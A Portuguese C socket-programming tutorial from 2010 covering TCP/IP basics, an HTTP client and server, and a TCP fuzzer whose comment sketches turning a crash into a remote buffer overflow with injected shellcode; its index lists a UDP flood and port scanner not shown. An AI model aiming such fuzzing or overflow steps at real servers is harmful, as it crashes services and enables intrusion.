[Portuguese] Sockets em linguagem C

# language: Portuguese
# Title: Sockets em linguagem C
# Date: 2010-03-05
# Author: Cooler_

                                   .
         	                      \  :  /
                                 ' _ '
                             -= ( (_) ) =-
                                 .   .
                                /  :  \
        .-.                        '
        |.|
      /)|`|(\
     (.(|'|)`)
~~~~~~`\`'./'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        |.|           ~~
        |`|                            ~~                         ///               
       ,|'|.      (_)          ~~                                |00|                          
        "'"        \"\                                           ^~^~~ 
             ~~     ^~^            ~                                             ~~~
 ~~~~
  _____            _        _                   ~~~~~~      
 / ____|          | |      | |                                                            
| (___   ___   ___| | _____| |_ ___     ___ _ __ ___  
 \___ \ / _ \ / __| |/ / _ \ __/ __|   / _ \ '_ ` _ \ ~~~~~
 ____) | (_) | (__|   <  __/ |_\__ \  |  __/ | | | | |           ((__))
|_____/ \___/ \___|_|\_\___|\__|___/   \___|_| |_| |_|           ( O O)                 
                                                     ~~           ~"\_\"   ~~  
    ~~                                                              ^~                              
 _      _           ~~~~~~                                _____ 
| |    (_)                               ~~              / ____|              ~~
| |     _ _ __   __ _ _   _  __ _  __ _  ___ _ __ ___    | |     
| |    | | '_ \ / _` | | | |/ _` |/ _` |/ _ \ '_ ` _ \   | |     ~~                                
| |____| | | | | (_| | |_| | (_| | (_| |  __/ | | | | |  | |___                           
|______|_|_| |_|\__, |\__,_|\__,_|\__, |\___|_| |_| |_|  \_____|
                 __/ |             __/ |                ~~~~~         
                |___/             |___/                                  ~~~
   
            ,;~;,              ~~~                autor: Cooler_
                /\_                               contato: c00f3r@gmail.com                       
      ~~       (  /                               http://BotecoUnix.com.br
               (()|     //)                       data: março dia 5 de 2010 
               | \\  ,,;;'\
           __ _(  )m=(((((((((((((================--------
         /'  ' '()/~' '.(, |
      ,;(      )||     |  ~             
     ,;' \    /-(.;,   ))            
          ) / /     ) //   Sem verba e mesmo estando na seca ! estou ajudando pessoal 
         //  \\     |||
        )_\   )_\   )_\\                   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 "Não diga que a vitória está perdida se é de batalhas que se vive a vida."
 por Raul Seixas

OBS: Não nos responsabilizamos pelo mau uso das informações aqui contidas.
     Todo material e exemplos descritos nesse tutorial possuem somente
     propósitos educacionais.


+======================================================================+
|	                                                                  |
|                             ÍNDICE                                   |
|======================================================================|
| +01 - Introdução                                                     |
| +02 - Explanação ao TCP/IP                                           |
| +03 - BSD Sockets                                                    |
| +04 - Funções read(),send() e exemplo cliente HTTP                   | 
| +05 - Funções listen(),Bind(),accept() e servidor http exemplo       |
| +06 - Na prática fazendo um FUZZER TCP                               | 
| +07 - Servidor e Cliente com Fork                                    |
| +08 - Servidor de comandos e Scanner de portas                       |
| +09 - Simple Socket Library                                          |
| +10 - Explanação ao UDP e exemplo de Servidor e cliente              |
| +11 - Exemplo UDP Flood                                              |
| +12 - Conclusão                                                      | 
| +13 - Bibliografia                                                   |
| +14 - Agradecimentos                                                 |
| +15 - Sources externas                                               |
|                                                                      |
+======================================================================+



-------------------------------
	+01 Introdução
-------------------------------

   Bom galera já muito tempo prometo para amigos e colegas do IRC um 
tutorial sobre sockets,o assunto é fascinante e ao mesmo tempo fatigante
por conta do grande número de informações,Bom tutoriais de linguagem C
não falta porem são redundantes sempre são sobre algoritmos,sort,lifo,trees
,hash tables, bancos de dados,grafos,interfaces de GUI como gtk,ncurses 
entre outros. Estrutura de dados e algoritmos em C são novos 
truques, um mago tem quer saber para ajudar nas suas tarefas,obviamente
quanto mais truques  melhor para ele, quando vemos ai algo de Sockets são 
coisas simples como port scan ,floods UDP bom vamos ver isso aqui
também mais nossa meta é algo mais,quanto a tarefas multiprocesso vou 
usar fork por ser mais popular no pessoal intermediário em C,pois pthreads 
é para usuários avançados fora que pedi mais explicações . além disto tudo
eu mostro soluções mais fáceis como uso de bibliotecas externas para fazer 
certas tarefas.
 
O sistema operacional que testei os programas é Gentoo Linux,Debian e FreeBSD
se você usa windows  um bom conselho seria instalar cygwin ou virtual box e 
separar uma maquina por la com linux, do mais um bom editor de texto com highlights
como VIM e EMACS evite IDEs pesadonas como eclipse,netbeans. Um GDB para depurar 
o código ou desbugar e já esta bom .Bom o assunto é tenso como diz meu amigo
 "_mlk_",se ajuda segundo "mind hacks" book da o'reilly a glicose é combustível
para o cérebro e na hora que se come fazemos um overclock no nosso cérebro por 
alguns minutos ou horas então como conselho tome um suco ai de maçã,café antes 
de ler este tutorial e bote uma colher de açúcar mascavo no suco, e depois de 
10 horas de uma lida rápida assim memoriza algumas coisas. Café é sodá que se
 tomar muito o desgaste vem em dobro, use com moderação ;).


-----------------------------------
	+02 Explanação ao TCP/IP
-----------------------------------

antes de partir para Rock vamos uma leve introdução ao TCP/IP
TCP/IP -( TRANSMISSION CONTROL PROTOCOL/INTERNET PROTOCOL)  É um padrão de
comunicação que reúne um conjunto de protocolos tais como tcp, ip, ftp (file 
transfer protocol), telnet, icmp, arp e nfs. As informações que trafegam na 
rede necessitam do TCP/IP, por isso ele é utilizado como protocolo primário
da rede na internet. Este protocolo foi dividido em “camadas” bem definidas, 
cada uma realizando sua parte na tarefa de comunicação (aplicação, transporte, 
rede, e enlace/físico). Este modelo tem a seguinte vantagem: por ter os processos 
de comunicação bem definidos e divididos em cada camada, qualquer alteração poderá 
ser feita isoladamente, não precisando reescrever todo o protocolo. O TCP/IP tem 
como principal característica a transmissão de dados em máquinas que diferem em suas
arquiteturas . 

Estas são as camadas que compõem o modelo TCP/IP. 

             Aplicação , Transporte , Rede e enlace/físico 

vou explicar cada uma delas

*APLICAÇÃO 
Nesta camada são necessários protocolos de transporte para garantir o funcionamento
das aplicações reais (DNS, WWW, SMTP, POP, NFS, FTP). Esta camada trabalha com a porta
a qual esta ligada a aplicação. Ex: FTP (porta 21), HTTP (porta 80), Telnet (porta 23), etc. 

*TRANSPORTE 
Utiliza dois protocolos para a comunicação Host-to-Host (TCP/UDP). Esta camada também
tem como função organizar e controlar o fluxo de dados transmitidos para que o protocolo
não se perca no meio de tantos pacotes. 

*REDE 
A camada chamada de rede ou Internet, tem como principal função direcionar os dados 
aos seus respectivos endereços. Esta característica é chamada de roteamento, que 
também tem como vantagem evitar o congestionamento da rede, pois trabalha com endereço
IP de origem e destino. 

*enlace/físico
Esta camada está com o seu funcionamento baseado na placa de rede, que dependendo 
do meio em que está funcionando trabalhará com diferentes padrões. 

voltando ao termo TCP o processo de aplicação transmite seus dados, de  tamanho variável,
fazendo chamadas ao TCP ao TCP cabe a fragmentação destes dados,  formando os segmentos
segmentos são unidades de transferência de  dados do protocolo TCP a troca de segmentos 
serve para estabelecer  conexão, transferir dados, etc

vamos entender alguns campos de segmento TCP
Offset: (4 bits) tamanho do header TCP 
Reserved: (6 bits) reservado p/ uso futuro
Flags: (6 bits)
URG: sinaliza  um serviço urgente
ACK:envio de uma confirmação válida no cabeçalho
PSH:entrega de dados urgente à aplicação, s/ bufferização
RST: resetar a conexão
SYN:sincronizar o no de seqüência
FIN: encerramento da conexão

- Características principais:
  -Transferência em fluxo(stream) de dados
  -Confiabilidade(Reconhecimento ACK)
  -Controle de fluxo(Janela deslizante)
  -Multiplexação/Demultiplexação
  -Conexões logicas(Manutenção de Status)
  -Full-duplex

- Formato do segmento TCP

0                                                            32
 ____________________________________________________________
|     Porta de Origem          |     Porta de destino        |
|------------------------------------------------------------| 
|                      Numero seqüencial                     |
|------------------------------------------------------------|
|                 Numero de Reconhecimento                   |
|------------------------------------------------------------|
|Deslocamento | Reservado |URG|ACK|PSH|RST|SYN|FIN|  Janela  |
|------------------------------------------------------------|
|Checksum             |     Ponteiro de urgência             |
|------------------------------------------------------------|
|    Opções           |          Preenchimento               |
|------------------------------------------------------------|
|                           Dados                            |
|____________________________________________________________|

ou

  0           4              8           16     19    24                 32
   -------------------------------------------------------------------------
   |              Source Port             |         Destination Port       |
   -------------------------------------------------------------------------
   |                               Sequence Number                         |
   -------------------------------------------------------------------------
   |                             Acknowledgment Number                     |
   -------------------------------------------------------------------------
   | HLEN  |  Reserved |   Code Bits     |         Window                  |
   -------------------------------------------------------------------------
   |              Checksum               |         Urgent Pointer          |
   -------------------------------------------------------------------------
   |                                   Options    |        Padding         |
   -------------------------------------------------------------------------
   |                                    Data                               |
   -------------------------------------------------------------------------


Pessoal que já brincou com "Nmap" e firewalls sabe muito bem o que são estas flags...
detalhes ai do TCP vide http://www.faqs.org/rfcs/rfc793.html .

*agora já que temos uma leve base de TCP vamos para UDP
UDP seria user Datagram protoco ou seja permite que a aplicação escreva um 
datagrama encapsulado num pacote IPv4 ou IPv6, e então enviado ao destino.
 Mas não há qualquer tipo de garantia que o pacote irá chegar ou não. Nem chega 
a ser confiável mais é bom saber sua função também dizemos que o UDP é um serviço
sem conexão, pois não há necessidade de manter um relacionamento longo entre cliente 
e o servidor. Assim, um cliente UDP pode criar um socket, enviar um datagrama para um 
servidor  e imediatamente enviar outro datagrama com o mesmo socket para um servidor 
diferente. Da mesma forma, um servidor poderia ler datagramas vindos de diversos
clientes, usando um único socket. A diferença básica entre o UDP e o TCP é o fato
de que o TCP é um protocolo orientado à conexão e, portanto, inclui vários mecanismos
para iniciar,manter e encerrar a comunicação, negociar tamanhos de pacotes, detectar 
e corrigir erros, evitar congestionamento do fluxo e permitir a retransmissão de
pacotes corrompidos, independente da qualidade
do meio físico.

Agora faltou explicar o que é IP, deveria ter explicado primeiro...
IP é um acrônimo para a expressão inglesa "Internet Protocol" (ou Protocolo de 
Internet), que é um protocolo usado entre duas ou mais máquinas em rede para 
encaminhamento dos dados. Os dados numa rede IP são enviados em blocos referidos 
como pacotes ou datagramas (os termos são basicamente sinônimos no IP, sendo 
usados para os dados em diferentes locais nas camadas IP). Em particular, no IP
nenhuma definição é necessária antes do host tentar enviar pacotes para um host 
com o qual não comunicou previamente. O IP oferece um serviço de datagramas não 
confiável (também chamado de melhor esforço); ou seja, o pacote vem quase sem 
garantias. O pacote pode chegar desordenado (comparado com outros pacotes enviados
entre os mesmos hosts), também podem chegar duplicados, ou podem ser perdidos por 
inteiro. Se a aplicação precisa de confiabilidade,esta é adicionada na camada de 
transporte.




-----------------------------------
	+03 BSD Sockets 
-----------------------------------

Sockets o que é ?

Especificamente em computação, um soquete pode ser usado em ligações de redes 
de computadores para um fim de um elo bidirecional de comunicação entre dois programas.
A interface padronizada de soquetes surgiu originalmente no sistema operacional Unix BSD
(Berkeley Software Distribution); portanto, eles são muitas vezes chamados de Berkeley 
Sockets. É também uma abstração computacional que mapeia diretamente a uma porta de 
transporte (TCP ou UDP) e mais um endereço de rede. Com esse conceito é possível identificar 
unicamente um aplicativo ou servidor na rede de comunicação IP. Isso segundo wikipédia mas 
vamos a algo concreto...

*Um socket identifica univocamente um usuário TCP 
*Permite a associação entre processos de aplicação 
*O identificador da porta é concatenado ao endereço IP, onde a entidade TCP está rodando,
 definindo um socket

*Função socket ()
exemplo de uso

socket (familia, tipo, protocolo);

O nome de um socket sempre está relacionado a um espaço de nomes, também chamado de 
domínio (socket domain).Cada espaço de nomes é definido por uma macro na forma PF_*
(que vem do termo Protocol Family). Os principais espaços de nomes em uso no UNIX são:

*PF_LOCAL : indica o espaço de nomes local, no qual os nomes de sockets são válidos
 somente no escopo do computador local. As macros PF_UNIX e PF_FILE são sinônimos desse
 espaço de nomes.
*PF_INET : indica o espaço de nomes IPv4 e seus protocolos associados.
*PF_INET6 : indica o espaço de nomes IPv6 e seus protocolos associados.

Além dos acima, outros espaços de nome estão disponíveis, embora sejam de uso menos 
 freqüente: PF_NS 
(protocolos Xerox NS), PF_ISO (protocolos OSI/ISO), PF_CCITT (protocolos do CCITT), 
 PF_IMPLINK (Internet Message Processors), PF_ROUTE (protocolos de roteamento), etc.
 Para cada espaço de nomes, uma macro correspondente
 AF_* define o formato dos endereços para aquele espaço

familia:
PF_UNIX, PF_LOCAL, PF_INET, PF_INET6, PF_IPX, PF_NETLINK, PF_X25, PF_AX25
PF_ATMPVC, PF_APPLETALK, PF_PACKET, AF_INET, AF_UNIX, AF_ISO, AF_NS...

Os sockets são divididos em 'tipos'. 
são eles SOCK_STREAM, SOCK_DGRAM, SOCK_SEQPACKET, SOCK_RAW, SOCK_RDM, SOCK_PACKET
             |           |                          |
TCP_________/            |                          |
UDP______________________/                          |
famoso raw sockets _________________________________/


SOCK_STREAM:  	 Fornece seqüencial, seguro, e em ambos os sentidos, conexões baseadas
 em "byte streams". Dados "out-of-band" do mecanismo de transmissão devem ser suportados.
 O protocolo TCP é baseado neste tipo de socket.

SOCK_DGRAM: 	Suporta diagrama de dados (baixa conexão, mensagens inconfiáveis de um 
 comprimento máximo fixo). O protocolo UDP protocol é baseado neste tipo de socket.

SOCK_SEQPACKET: 	Fornece um seqüencial, seguro, e em duas direções de tipos de conexões
 para transmissão de dados endereçados para o diagrama de dados de comprimento máximo fixo;
 um consumidor é requerido para ler um pacote inteiro com cada chamada de leitura.

SOCK_RAW: 	Fornece um protocolo de rede de acesso rápido. Este tipo especial de socket
pode ser usado manualmente para construir algum tipo de protocolo. Um uso comum para esse tipo 
de socket é desempenhar requisições ICMP (como ping, traceroute, etc).

SOCK_RDM :	Fornece uma camada seguro que não garante ordenação. Isso é comumente não
 implementado no seu sistema operacional. 

tipos de protocolo
protocolo:
ip      0       IP      # internet protocol, pseudo protocol number
icmp    1       ICMP    # internet control message protocol
igmp    2       IGMP    # internet group multicast protocol
ggp     3       GGP     # gateway-gateway protocol
tcp     6       TCP     # transmission control protocol
pup     12      PUP     # PARC universal packet protocol
udp     17      UDP     # user datagram protocol
idp     22      IDP     # WhatsThis?
raw     255     RAW     # RAW IP interface


----------------------------------------------------------------------

	+04 Funções read(),send() e exemplo cliente HTTP

----------------------------------------------------------------------


vamos usar algumas biblitoecas são elas "sys/types.h","sys/sockets.h","netinet/in.h",
"errno.h" e "netdb.h"

*outra função que vamos suar connect()
seria uma função responsável pela conexão de seu socket cliente, com um serviço
servidor qualquer.

as libs necessárias para o uso dessa função são "sys/types.h" e "sys/socket.h"

Uma vez declarado as lib.. vamos declarar a função propriamente dita:

int connect(Meusocket,(struct sockaddr * )&server, sizeof(server));


*read()
usada para ler mensagens enviadas de um socket. Sua
sintaxe eh igual a da função write ():

int read (socket, *buffer, tamanho utilizado do buffer);

*send()
Usada para enviar uma mensagem para um socket.

int Send (socket, *mensagem, tamanho da mensagem, parametros adicionais)

parâmetros adicionais podem ser:

#define MSG_OOB           0x1     /* process out-of-band data*/
#define MSG_DONTROUTE     0x4     /* bypass routing, usedirect interface */
#define MSG_DONTWAIT      0x40    /* don't block */
#define MSG_NOSIGNAL      0x2000  /* don't raise SIGPIPE */

MSG_OOB - Envia mensagens Out-Of-banda (OOB) - fora de banda - para sockets
          que suportam esse tipo de mensagem. Esse tipo de parâmetro eh o
          calcanhar de aquiles do Windows 95, que trava com uma mensagem OOB
          (famoso winnuke)

MSG_DONTROUTE - Usado como debugador, para encontrar problemas

MSG_DONTWAIT  - Permite operações "non-blocking"

MSG_NOSIGNAL  - Ao manda SIGPIPE em erros em sockets stream quando o outro
                endereço quebra a conexão. 

exemplo de utilizacão:

char cso [] = "sai fora cara"

send (newSock, cso, sizeof (cso), 0); //Sem parâmetros adicionais


continuando...

Vou mostrar um exemplo ai de sockets usando Protocolo Http com funções 
socket,connect,read e send. vamos fazer  simples cliente que pega Lê uma
 source de uma página http,veja que antes de mandar para socket tenho que
converter o HOST em IP


---------------------------------- BEGIN CODE
/*

GarageCode coolest things Hehehe
http://GarageCode.tk

*Function this programm
This is Simples programm to splain the socket job in
http protocol,to send data and take request from WebServer

(C code with socket)
         ||
         ||
        \  /
         \/
   [GET /index.html HTTP/1.1\nHost: www.site.com\t \n\n]
         ||
         ||
        \  /
         \/
(Apache listening server) if http read return the request with html to socket

this coolest to study sockets and http requests,in the future i make robot
about logic this code...


*tested with GCC 
 i wheel on Unix/Linux/BSD this:
    gcc -o program program.c; ./program

Author: "Cooler_"  
contact: tony.unix@yahoo.com.br or c00f3r@gmail.com
license: GPL2

visit this site: http://BotecoUnix.com.br
Real Geeks BotecoUnix

greetz 
Thanks _mlk_ , m0nad,IAK,Fox,edenc,D3lf0,zepplin and f0kerdebug.

       __ ____
      /  /.  .\
      |--| 0 0 |
      |  | . . |
       \ \____/
   _----\___/---- _
 /___\          /___\   
 |   |  |_|0|_| |   |
 |   |  |_|_|0| |   |    rick taylor from
 |   |  |0|0|0| |   |   The Game SplatterHouse 2 at 1992
 |   |          |  /  
  \  ) -------- ( /
  /\/     |)    \/\
  |/             \ |
  (       |        )
  |\      |       /|
  |       |        |
   \      |       /
    \ ___ |  ___ /
     =o=  |  =o=
    /xx   |  xx\      Code and art by Cooler_ 
 (_______| |______) 
  
      
*/
//libs diversas para tratar entrada saida,memoria,string,erros...
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
//libs padrão para uso da socket
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
// lib para usar para converter host para ip
#include <netdb.h>

#define MAXSIZE 800
#define MAX 500
int main() {
  int sockfd,n;
  char *url,buff[MAXSIZE],sBuff[MAXSIZE],host[MAX],page[MAX],enter[MAX];
/*
no protocolo http o cliente manda dados com a info

	GET /index.html HTTP/1.1
	Host: www.site.com

para tal feito ficaria em C
GET /index.html HTTP/1.1\nHost: www.site.com\t \n\n

Peguei entrada um link http extraimos host e dados do GET
com sscanf,também pode ser feito com split ou regex,bom estraido 
dados usei strcat para concatenar as variaveis alfanumericas
*/
  char getpage[MAX]="GET /";
// struct do netdb para converter host para ip
  struct hostent *ip;
// struct da socket
  struct sockaddr_in end;

//pegamos entrada do usuario
  printf("digite um link: ");
   fgets(enter, sizeof(enter), stdin);
   enter[strlen(enter)-1] = '\0';
//extraimos host e local da pagina
  sscanf(enter, "http://%99[^/]/%99[^\n]", host, page);
   printf("DNS = \"%s\"\n", host); 
   printf("Page = \"%s\"\n\n", page);
   strcat(page," HTTP/1.1\nHost: ");
   strcat(page,host); 
   strcat(page,"\t \n\n");

// função da lib netdb.h para converter ai nosso host para IP
  ip = gethostbyname(host);
  url=inet_ntoa(*(struct in_addr *)ip->h_addr);
  strcat(getpage,page);
  printf("%s",getpage);
 
/* 
separamos buff para pegar resposta do server
mas antes preenchemos a memoria com \0
usamos sbuff para armazenar dados do envio
*/
  memset(buff,'\0',sizeof(char)*MAXSIZE);
  memset(sBuff,'\0',sizeof(char)*MAXSIZE);
  strcpy(sBuff,getpage);

// condições simples em caso de erro
  if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0 ){
    perror("socket");
    return errno;
  }

// definimos a porta usado no caso 80
/*
sin familia
+ AF_INET      (ARPA INTERNET PROTOCOLS) - "A mais usada"
+ AF_UNIX      (UNIX INTERNET PROTOCOLS)
+ AF_ISO       (ISO PROTOCOLS)
+ AF_NS        (XEROX NETWORK SYSTEM PROTOCOLS)
*/
  end.sin_family=AF_INET; 
  end.sin_port=htons(80);/* Aqui é o seguinte:
                                 htons significa "host to network short", como
                                 é short trabalha com 2 bytes,mas ha ainda
                                 outros tipos como: htonl("host to network
                                 long",4 bytes), ntós("network to host
                                 short",2 bytes), ntól("network to host
                                 long", 4 bytes). */

  if( inet_pton(AF_INET,url,&end.sin_addr) < 0){
    perror("inet_pton");
    return errno;
  }

  memset(end.sin_zero,'\0',8);

  if(connect(sockfd,(struct sockaddr*)&end,sizeof(struct sockaddr)) < 0){
    perror("connect");
    return errno;
  }

  if( (send(sockfd, sBuff, strlen(sBuff), 0)) < 0){
    perror("send");
    close(sockfd);
    return errno;
  }
// recebe a resposta e mostra saida
  while((n=read(sockfd,buff,MAXSIZE)) > 0) fprintf(stdout,"%s",buff);

  close(sockfd);
  return 0;
}

---------------------------------- EOF

compile
 gcc -o client client.c; ./client 
vai pedir um link digite exemplo http://www.botecounix.com.br/blog e veja que bacana

Voltando a explicação deste exemplo esta em linhas comentadas, ficou sóda o exemplo 
fazer isso em C é muito sóda da um trabalho danado,continuando a saga do HTTP vamos
 fazer agora um servidor de web...




----------------------------------------------------------------------

  +05 funções listen(),Bind(),accept() e servidor http exemplo

----------------------------------------------------------------------


só que inves de fazer POG com memset vamos usar uma função para setar dados para zero
*bzero () uma funcao que escreve zeros para uma string. No nosso caso, 
serve para zerar o resto da struct. 
void bzero (void *s, int n);
pega os primeiros "n" bytes da string apontada em s e muda-os para zero.

*listen()
Esta funcao faz com que um socket aguarde por conexoes.
fica na esculta...
listen (socket, numero maximo de conexoes);
ex: int sock2; sock2 = socket (AF_INET, SOCK_STREAM, 0);
listen (sock2, 4); // apenas 4 clients podem se conectar nesse socket. 

*write()
Tambem é usada para enviar mensagens para um socket. 
int write (socket, *buffer, tamanho utilizado do buffer);
write (sock, msg, strlen (msg));
Você pode substituir a funcao send () por write() dependendo do caso...

*Bind()
Bind serve para unir um nome ao socket que você abriu. Para que fique bem
claro, observe abaixo,IP do servidor:  201.34.36.133 ,IP do cliente:   201.45.44.144
Para que o cliente localizado em 201.45.44.144 se comunique com um programa
(servidor) localizado em 201.34.36.133, é necessario que os dois se
comuniquem por um canal em comum uma porta. Conexoes telnet sao feitas
normalmente pela porta 23, ftp pela 21, http pela 80 etc.... A diferenciação
entre os tipos de serviço está pela porta que este abre. Entao se eu for
mandar uma mensagem para o servidor, esta tem q ir por uma porta aberta no
sistema, especifica para aquele programa servidor. A funcao bind () faz o
papel de abrir a porta no sistema.
A sintaxe da bind () eh:
int bind (socket, estrutura de conexao (local), tamanho da estrutura);

*accept ()
Estabelece conexoes em um socket. Ela cria um novo socket com as mesmas
propriedades do socket anterior do seu programa e aloca um novo "int socket"
para a nova conexao. 

int sock2,
    newSock,   // Este sera o novo socket
    tamanho;
sock2 = socket (AF_INET, SOCK_STREAM, 0);
...
tamanho = sizeof (struct sockaddr);
listen (sock2, 3);
newSock = accept (sock2, (struct sockaddr_in *)&remote, &tamanho);
sintaxe seria
novo socket = accept (socket, estrutura de conexao, tamanho);

paramos de conversa e vamos ao programa comentado

---------------------------------- BEGIN CODE
#include <stdio.h>
#include <errno.h>
#include <sys/socket.h>
#include <resolv.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
//nossa porta
#define PORT    666
 
int main (int argc, char *argv[]){
   int serversock;
   struct sockaddr_in self;
 
   /* cria o socket */
   serversock = socket (AF_INET, SOCK_STREAM, 0) ;
   if ( serversock < 0 ){
      perror("Erro no socket");
      exit(1);
   }
 
   /* monta o endereço */
   bzero (&self, sizeof(self));
   self.sin_family = AF_INET;
   self.sin_port   = htons(PORT);
   self.sin_addr.s_addr = INADDR_ANY; /* uso o endereço do host */
 
   /* associa o endereço ao socket */
   if ( bind (serversock, (struct sockaddr*)&self, sizeof(self)) ) {
      perror("Erro no bind");
      exit(1);
   }
 
   /* coloca o socket em escuta */
   if ( listen (serversock, 20) ) {
      perror("Erro no listen");
      exit(1);
   }
 
   for(;;) {
      int clientsock;   
      struct sockaddr_in client_addr;
      int addrlen = sizeof (client_addr);
      char * resposta ;
 
      /* aguarda e aceita uma conexão externa */
      clientsock = accept (serversock, (struct sockaddr*)&client_addr, &addrlen);
 
      printf ("Client %s:%d connected\n",
              inet_ntoa (client_addr.sin_addr),
              ntohs (client_addr.sin_port));
 
      /* envia uma resposta HTTP padrão */
      resposta = "HTTP/1.1 200 Ok\n\n<p><b>Servidor exemplo funciono!!</b></p><img src=\"http://i21.photobucket.com/albums/b256/rot_in_pieces/splatterhouse.gif\">\n" ;
 
      write (clientsock, resposta, strlen (resposta));
 
      /* fecha o socket da conexão recebida */
      close (clientsock);
   }
 
   /* encerra o socket servidor */
   close (serversock);
 
   return 0;
}
---------------------------------- EOF


vamos lá compile
	gcc -o code code.c; ./code

feito isso abra navegador na url http://localhost:666

	BINGO!
 
veja que o server é simples se agente usar netcat para conectar por 
exemplo o server responde do mesmo geito não usa uma regex ou parser 
para indentificar apenas navegadores...

---------------------------------- CMD

cooler@gentoo ~/c/good/socket $ nc localhost 666
HTTP/1.1 200 Ok

<p><b>Servidor exemplo funciono!!</b></p>
<img src="http://i21.photobucket.com/albums/b256/rot_in_pieces/splatterhouse.gif">

---------------------------------- EOF

se não me engano o Servidor Apache usa "pcre.h" para fazer estas regex de verificação...
Bom nosso servidor funcionou,Voltando para o HTTP estudando suas documentações podemos
até fazer um post ou um get enviando dados, porem não é nosso objetivo aqui nidar com Bots 
e spiders de Web.

Se quiser ta ai o link para te ajudar nos spiders e entender http boa sorte 
http://tools.ietf.org/html/rfc2616 se conseguir mandar POST para um link usando 
"client" com socket mande e-mail do seu programa em C para eu ver ;)

*pulo do gato pro pessoal que não gosta de criar a rodá,quer criar seus
 Bots e spiders de forma portavel,com estas bibliotecas você pode usar POST,GET e 
 fazer AUTH,extrair Links,tarefas no FTP,fazer downloads....

libcurl é fácil para tal feito vide http://curl.haxx.se/libcurl/c/postit2.html 
Libwww - the W3C Protocol Library, mais popular http://www.w3.org/Library/

vamos continuar estudando sockets a fundo vamos deixar as bibliotecas que usa sockets
para depois.




----------------------------------------------------------------------

+06 Na prática fazendo um FUZZER TCP

----------------------------------------------------------------------

continuando nossos estudos com sockets vamos um exemplo diferente de cliente 
e servidor vou mostrar um Fuzzer ,para quem não sabe fuzzing ta sendo usado 
para ajudar no descobrimento de falha em geral, ele faz testes em determinado 
programa seja por entradas stdin,forms http,argv,packets  ou strings SQL etc... 
no nosso caso ele faz teste em programas remotos

---------------------------------- CODE
/*

GarageCode coolest things Hehehe
http://GarageCode.tk

*Function this programm
this programm do tests with strings "A" to search Bugs in TCP servers to make
Remote Buffer Overflow on TCP servers is seen very within the hacker scene 
because the developers are busy making money n not do things well done...
Wellcome to the real world,find the bug you should run behind the return address
using GDB or other equivalent programm n inject your shellcode...

*tested with GCC 
 i wheel on Unix/Linux/BSD this:
    gcc -o program program.c; ./program

Author: "Cooler_"  
contact: tony.unix@yahoo.com.br or c00f3r@gmail.com
license: GPL2

visit this site: http://BotecoUnix.com.br
Real Geeks BotecoUnix

greetz 
Thanks _mlk_ , m0nad,IAK,Fox,edenc,D3lf0,zepplin and f0kerdebug.

       __ ____
      /  /.  .\
      |--| 0 0 |
      |  | . . |
       \ \____/
   _----\___/---- _
 /___\          /___\   
 |   |  | |0| | |   |
 |   |  | | |0| |   |    rick taylor from
 |   |  |0|0|0| |   |   The Game SplatterHouse 2 at 1992
 |   |          |  /     art and code by Cooler_
=================================
      
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>     
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

struct sockaddr_in adr;

int main() {

 int sock, envio,porta,bit, cont=1;
 char ip[32];
// entradas do nosso programa
  printf("quantos caracters ?\n"); scanf("%d",&bit);
  printf("qual numero da porta a testar ?\n"); scanf("%d",&porta);
  if((porta > 65535)||(porta <= 0)||(bit <= 0)) {
   fprintf(stderr, "ERRO veja se digitou dados validos\n");
   return 0;
  }
  getchar();
  printf("digite o ip \n");
   fgets(ip, sizeof(ip), stdin);
   ip[strlen(ip)-1] = '\0';

  while(cont <= bit) {
// buffer vai aumentar 1,2,3,4,5... até o valor da var bit
   unsigned char buffer[cont];
// socket simples
   sock = socket (PF_INET, SOCK_STREAM, IPPROTO_IP);
   memset(&(buffer), 'A', sizeof (buffer));
   adr.sin_family = AF_INET;
   adr.sin_port = htons (porta);
   inet_aton (ip, &(adr.sin_addr));
   bzero (&(adr.sin_zero), 8);   

    if ( (connect (sock, (struct sockaddr *)&adr, 16)) == -1) 
     fprintf (stderr, "Porta [%d]  ip: %s  conexão não ativa ao envio de %d strings\n", 
              ntohs (adr.sin_port), inet_ntoa (adr.sin_addr),cont);
    
// enviamos buffer
   envio=send(sock, buffer, sizeof (buffer), 0);
   printf ("[%d] letras enviadas para %s porta %d\n", envio,ip,porta);
   if(envio == -1) printf("\nfuzzer terminou com %d letras 'A'\n", cont);
   cont++;  close(sock);
  }
 return 0;
}

---------------------------------- EOF

não tem nada de mais no fuzzer, tudo vimos neste paper funções e tal agora 
vamos passar um exemplo simples ai de uso,exemplo você tem um servidor 
vulnerável sabendo que ele dá crash com mais de mil caracters de envio 
então temos o ambiente:

---------------------------------- CMD
cooler@gentoo ~/c/good/socket $ ./server 4000   <----iniciamos server vulnerável em outro term
#ele fica na escuta "listening"

no terminal do teste faça
cooler@gentoo ~/c/good/socket $ ./fuzz
quantos caracters ?
2000
qual numero da porta a testar ?
4000
digite o ip 
127.0.0.1

depois de uns minutos testando o serviço funcionando na porta 4000

+++ no terminal do servidor
outras tentativas bla bla
onexão a partir de 127.0.0.1...
Descritores dos sockets: Servidor: 65, Conexão: 4
Mensagem recebida: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...até 1026
Não foi possível aceitar conexão.
deu crash

+++ no terminal do teste
...bla bla bla
[1017] letras enviadas para 127.0.0.1 porta 4000
[1018] letras enviadas para 127.0.0.1 porta 4000
[1019] letras enviadas para 127.0.0.1 porta 4000
[1020] letras enviadas para 127.0.0.1 porta 4000
[1021] letras enviadas para 127.0.0.1 porta 4000
[1022] letras enviadas para 127.0.0.1 porta 4000
[1023] letras enviadas para 127.0.0.1 porta 4000
[1024] letras enviadas para 127.0.0.1 porta 4000
[1025] letras enviadas para 127.0.0.1 porta 4000
Porta [4000]  ip: 127.0.0.1  conexão não ativa ao envio de 1025 strings

*BINGO ! no envio de 1025 caracters "A" o buffer estora e o servidor cai

